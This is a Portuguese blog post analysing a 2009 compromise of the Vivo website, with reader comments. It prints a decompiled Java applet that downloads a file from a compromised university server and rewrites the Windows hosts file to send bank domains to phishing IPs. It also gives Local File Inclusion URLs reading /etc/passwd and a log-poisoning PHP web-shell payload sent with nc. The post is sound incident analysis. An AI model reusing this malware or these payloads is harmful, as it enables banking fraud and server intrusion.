Análise um pouco mais detalhada do problema com a Vivo

Na noite de ontem tivemos um incidente de segurança envolvendo a maior empresa de celular do país, a Vivo.
Eu e alguns amigos da área de segurança da informação estavamos acompanhando desde o inicio, quando tudo ainda estava no ar, e espero trazer uma análise detalhada do que aconteceu.

Vale lembrar que nem todos os servidores da Vivo que faziam parte do balanceamento de carga foram comprometidos, portanto, nem sempre era possível acessar o código Java utilizado. Em alguns casos, era necessário dar “reload” várias vezes para conseguir acessar o site hospedado no servidor comprometido.

Mas vamos ao que interessa.
Ao acessar o site da Vivo (http://www.vivo.com.br/portal/home.php), era possível perceber uma atividade do Java no computador. Quando analisamos o código fonte do site, identificamos o seguinte trecho de código:

<applet name=”Vivo Online – IMPORTANTE: (Para executar corretamente o Vivo Online clique em `Run´.)” code=”laa.class” archive=”http://www.vivo.com.br/portal/co/logo_top.jpg” width=”0″ height=”0″><param name=”Vivo Online” value=”"></applet>

Então, fizemos download do arquivo http://www.vivo.com.br/portal/co/logo_top.jpg, que tem a extensão de um arquivo de imagem qualquer, porém se tratava de um arquivo compactado, um JAR.

$ unzip logo_top.jpg
Archive: logo_top.jpg
inflating: META-INF/MANIFEST.MF
inflating: META-INF/VIVOO.SF
inflating: META-INF/VIVOO.RSA
inflating: laa.class
inflating: .classpath
inflating: .project
$

Que tal olharmos o nosso arquivo class, para estudar e entender o que o código faz?
Decompilando o arquivo laa.class, temos:

import java.applet.Applet;
import java.awt.Color;
import java.awt.Graphics;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
public class laa extends Applet
{
public void paint(Graphics g)
{
g.setColor(Color.red);
g.drawString(“…”, 5, 10);
}
public void H32A(String URLexterna, String SalvarComo)
{
try
{
int i;
File files = new File(SalvarComo);
boolean exists = files.exists();
if (exists)
return;
URL url = new URL(URLexterna);
URLConnection connection = url.openConnection();
InputStream stream = connection.getInputStream();
BufferedInputStream in = new BufferedInputStream(stream);
FileOutputStream file = new FileOutputStream(SalvarComo);
BufferedOutputStream out = new BufferedOutputStream(file);
while ((i = in.read()) != -1)
out.write(i);
out.flush();
out.close();
}
catch (IOException localIOException)
{
}
}
public void H32C(String HostIP, String HostURL)
{
try {
File file = new File(“\\WINDOWS\\system32\\drivers\\etc\\hosts”);
FileWriter filewriter = new FileWriter(file, true);
filewriter.write(HostIP + ” ” + HostURL + System.getProperty
(“line.separator”));
filewriter.close();
}
catch (Exception localException)
{
}
}
public void teste(String valor)
{
try {
Runtime.getRuntime().exec(valor);
}
catch (IOException localIOException)
{
}
}
public void cocodegalinha() {
try {
int i;
File files = new File(“c:\\NOSO072009BETA3ba.log”);
boolean exists = files.exists();
if (exists)
return;
URL url = new URL
(“http://goos.io.usp.br/tikiwiki/img/wiki/dedi/mais.php”);
URLConnection connection = url.openConnection();
InputStream stream = connection.getInputStream();
BufferedInputStream in = new BufferedInputStream(stream);
FileOutputStream file = new FileOutputStream
(“c:\\NOSO072009BETA3ba.log”);
BufferedOutputStream out = new BufferedOutputStream(file);
while ((i = in.read()) != -1)
out.write(i);
out.flush();
out.close();
H32C(“”, “”);
H32C(“69.162.114.180″, “santander.com.br”);
H32C(“69.162.114.180″, “www.santander.com.br”);
H32C(“69.162.114.181″, “itau.com.br”);
H32C(“69.162.114.181″, “www.itau.com.br”);
H32C(“69.162.114.181″, “www.itau.com”);
H32C(“69.162.114.181″, “itau.com”);
H32C(“69.162.114.181″, “itaupersonnalite.com.br”);
H32C(“69.162.114.181″, “www.itaupersonnalite.com.br”);
H32C(“69.162.114.182″, “www.bradesco.com.br”);
H32C(“69.162.114.182″, “bradesco.com.br”);
H32C(“69.162.114.182″, “www.bradesco.com”);
H32C(“69.162.114.182″, “bradesco.com”);
H32C(“69.162.114.182″, “www.bradescoempresa.com.br”);
H32C(“69.162.114.182″, “bradescoempresa.com.br”);
H32C(“69.162.114.182″, “www.bradescoprime.com.br”);
H32C(“69.162.114.182″, “bradescoprime.com.br”);
H32C(“69.162.114.182″, “bradescocartoes.com.br”);
H32C(“69.162.114.182″, “www.bradescocartoes.com.br”);
H32C(“69.162.114.179″, “www.nossacaixa.com.br”);
H32C(“69.162.114.179″, “nossacaixa.com.br”);
}
catch (IOException localIOException)
{
}
}
public void init()
{
cocodegalinha();
}
}

Analisando o código acima, podemos ver que o programa tenta criar um arquivo “\WINDOWS\system32\drivers\etc\hosts” no computador da vítima.
Esse arquivo contém mapeamentos de endereços IP para nomes de host. O Windows faz a consulta primeiro nesse arquivo, para então tentar resolver o host através de um servidor DNS. Portanto, com essas entradas no arquivo hosts, o atacante pretendia fazer com que as vítimas, ao tentar acessar alguns sites bancários, fossem direcionadas para sites falsos, cujos endereços IP podem ser vistos no próprio código fonte acima e acessados da seguinte maneira:

http://69.162.114.179/

http://69.162.114.180/

http://69.162.114.181/

http://69.162.114.182/

Outro endereço que foi possível obter no código fonte é um endereço da Universidade de São Paulo, a USP.
Provavelmente, a USP também teve um servidor comprometido e foi usado nesse ataque.

Segue o endereço, que já foi removido: http://goos.io.usp.br/tikiwiki/img/wiki/dedi/mais.php

Como ainda conseguimos acompanhar tudo ontem, todos os endereços funcionavam perfeitamente, e me chamou a atenção o seguinte endereço: http://goos.io.usp.br/tikiwiki/img/wiki/

Ao acessar o endereço anterior, existia um formulário onde era passada uma lista de e-mail, para ser feito spam.
Analisando esse formulário, tinhamos o seguinte conteúdo:


<form action=http://www.vivo.com.br/roaminginternacional/popup.php?url=/var/spool/mail/apache&e= method=POST enctype=multipart/form-data>
Arquivo: <input type=file name=file><br>
<input type=submit value=Enviar>

Opa! Olha onde o formulário esta fazendo POST! Provavelmente, esse formulário era usado para enviar SPAM através do próprio servidor da Vivo. E tem mais, esse formulário nos revela um bug no site da Vivo, que foi bastante discutido ontem e vi muita gente postando no Twitter.
Portanto, foi possível perceber um problema de segurança no site da Vivo conhecido por Local File Inclusion (LFI) apenas analisando esse formulário utilizando pelos atacantes.
Com um LFI é possível executar comandos dentro do servidor, além de ler arquivos no mesmo.

Por exemplo, era possível ler o arquivo /etc/passwd, acessando através de um navegador web o seguinte endereço:

http://www.vivo.com.br/roaminginternacional/popup.php?url=/etc/passwd

Também era possível acessar informações sobre a rede da Vivo, acessando: http://www.vivo.com.br/roaminginternacional/popup.php?url=/etc/hosts

E além de tudo, possivelmente dava para executar comandos no servidor da Vivo. Para isso, uma das técnicas que normalmente pode ser usada para essa finalidade consiste em enviar uma requisição para o servidor, adicionando um comando PHP dentro do arquivo de Log do Apache, e posteriormente, dar um include nesse arquivo de log, bastando acessar http://www.vivo.com.br/roaminginternacional/popup.php?url=/var/log/apache/error.log (considerando que esse é o caminho do arquivo de log).

Exemplo:

$ nc www.vivo.com.br 80
GET <? passthru(\$_GET[cmd]) ?> HTTP/1.1

$

E depois, acessando o arquivo de log:

http://www.vivo.com.br/roaminginternacional/popup.php?url=/var/log/apache/error.log&cmd=id

Até ontem a noite, o contador de infectados já chegava em 80 mil usuários!!

Portanto, com uma análise rápida feita na noite de ontem, foi possível, além de identificar a fraude e alteração do site da Vivo, identificar um problema de segurança sério no site da Vivo, fácil de ser corrigido e que provavelmente foi usado para ganhar acesso ao servidor e alterar o site da empresa, infectando mais de 80 mil visitantes em poucos minutos.

Comentários?

30 Responses to “Análise um pouco mais detalhada do problema com a Vivo”

  1. virge! e o que a vivo vai fazer pra tirar esse lixo da máquina das pessoas? quantas acessaram “banco” e colocaram seus dados em páginas forjadas? será que foi um golpe ou só brincadeira de funcionário?

  2. Fabiano Silos says:

    Fica a pergunta: Seriam os browsers o melhor ambiente para viabilizar o acesso ao homebanking?

  3. Andre Ntfs says:

    caramba em mó foda isso , 80 mil

  4. Olá Filipe, como vão as coisas?

    Parabéns pelo post – bastante completo e informativo.

    [ ]s

  5. [...] Análise um pouco mais detalhada do problema com a Vivo, por Filipe Balestra, 2009-09-09, em Linux Magazine Online. [...]

  6. [...] This post was mentioned on Twitter by André Muraro, Ivan Carlos, Fábio N Sarmento, joaquim espinhara and others. André Muraro said: Vírus no site da VIVO infecta milhares de visitantes do site: http://bit.ly/1rdFxO [...]

  7. Filipe Balestra says:

    Olá Alexandre, provavelmente foi um golpe, pois se fosse funcionário, acredito que ele não utilizaria outra máquina fora da Vivo, nesse caso, da USP.

  8. Filipe Balestra says:

    Fabiano, acredito que o problema não seja no navegador ou o cliente em si. O problema esta na dificil segurança no lado do cliente. Se fosse outro cliente para acessar o homebank, eles também dariam um jeito, afinal, keylogger funciona bem, não? Abs

  9. Filipe Balestra says:

    Sandro,

    tudo bem, e com você? Obrigado!

    Abs,

  10. Daniel says:

    Não compreendi onde está o “exploit do Java”. Um applet é apresentado pelo servidor, e o usuário manda executar (ou não). Obviamente a esmagadora maioria VAI executar. A vulnerabilidade está essencialmente nos servidores da página Internet comprometidos. Abraço.

  11. André says:

    Ótimo post,
    Sou aprendiz e fiquei em dúvida nas seguintes citações:
    - “Olha onde o formulário esta fazendo POST!…” O erro encontra-se no upload de arquivo? Ou pelo fato do parâmetro url apontar para um arquivo do sistema operacional?
    - “…esse formulário nos revela um bug no site da Vivo” Que Bug este formulário apresenta?

    Por fim, qual seria a correção a ser feita?

    Obrigado.

  12. MAX_01_RJ says:

    Senhores,

    Alguem identificou o tipo de ataque que possibilitou o acesso para a mudança do codigo PHP?

  13. Ótima análise, mostra o jogo de cintura para ter outras alternativas ao phishing

  14. Tony Rodrigues says:

    Excelente post, meu amigo ! Parabéns

  15. Carlos Marins says:

    Filipe,

    Onde trabalho identificamos o problema semana passada, salvo engano dia 03/09, e reportamos à Vivo por e-mail, que nada fez até 08/09…
    Tive a oportunidade de ver o código ainda no final da semana passada e fiquei com uma dúvida. Qual o propósito da função H32A? Ela não é chamada na classe. Será que seria chamada em outra classe?
    Abraço.

  16. exploit ? says:

    não tem exploit nenhum nesse codigo, ou estou errado ?

  17. Local File Inclusion - LFI says:

    >Alguem identificou o tipo de ataque que possibilitou o acesso para a mudança do codigo PHP?

    Local File Inclusion – LFI

  18. Jamesgfb says:

    Muito boa a explanação,
    a gurizada tá se puxando
    Abraço

  19. Filipe Balestra says:

    Olá Daniel, de fato o código em si não é um exploit para uma falha recente no Java, como utilizado algumas vezes por alguns fraudadores. A falha em questão é mais detalhada aqui (http://blog.cr0.org/2009/05/write-once-own-everyone.html) e pode ser usada para um download + exec. Porém, esse código não está explorando nenhuma vulnerabilidade, exceto a vontade do usuário. Obrigado pelo comentário e estou alterando o termo exploit para não confundir mais!

    Abraços

  20. Moreno says:

    Como tratar um maquina atingida por este problema?

  21. Filipe Balestra says:

    Olá Tony,

    obrigado pela visita e elogio :)

    Abs

  22. Rafael says:

    Como a applet conseguiu acessar arquivos no sistema cliente, sem ter burlado a sandbox? É uma applet (auto-)assinada?

  23. Gomes says:

    Que post!!!

    Parabéns

  24. [...] análise detalhada pode ser encontrada no Linux New Media SHARETHIS.addEntry({ title: "Falha de segurança – Vivo contamina usuários com vírus", url: [...]

  25. Japon3s R4uL says:

    Aew véio preciso de AUTO r0x desse dai, Sou banker, tenho acesso a 19 provedores, entre 2 um dos mais populares do BRASIL. q nao vo dizer qual é mas estou vendo aqui em baixo ANUNCIADO kkkk

    Preciso infectar os bico…. Cês me ajuda nesses AUTO ai tem como?

    japonesraul@gmail.com <<<< IDEIAS/SUGESTOES/CRITICAS

  26. Jey says:

    Acho justo

  27. Bruno says:

    Opa já ouvi dizer que existe outra falha de reinicialização de senha do vivo on line atravez de um script… com isso as informações nao são seguras.
    Isso ocorre na manipulação de cookies

  28. Good journey and experience!

  29. I have look for such a article for a long time, thanks a lot.

Leave a Reply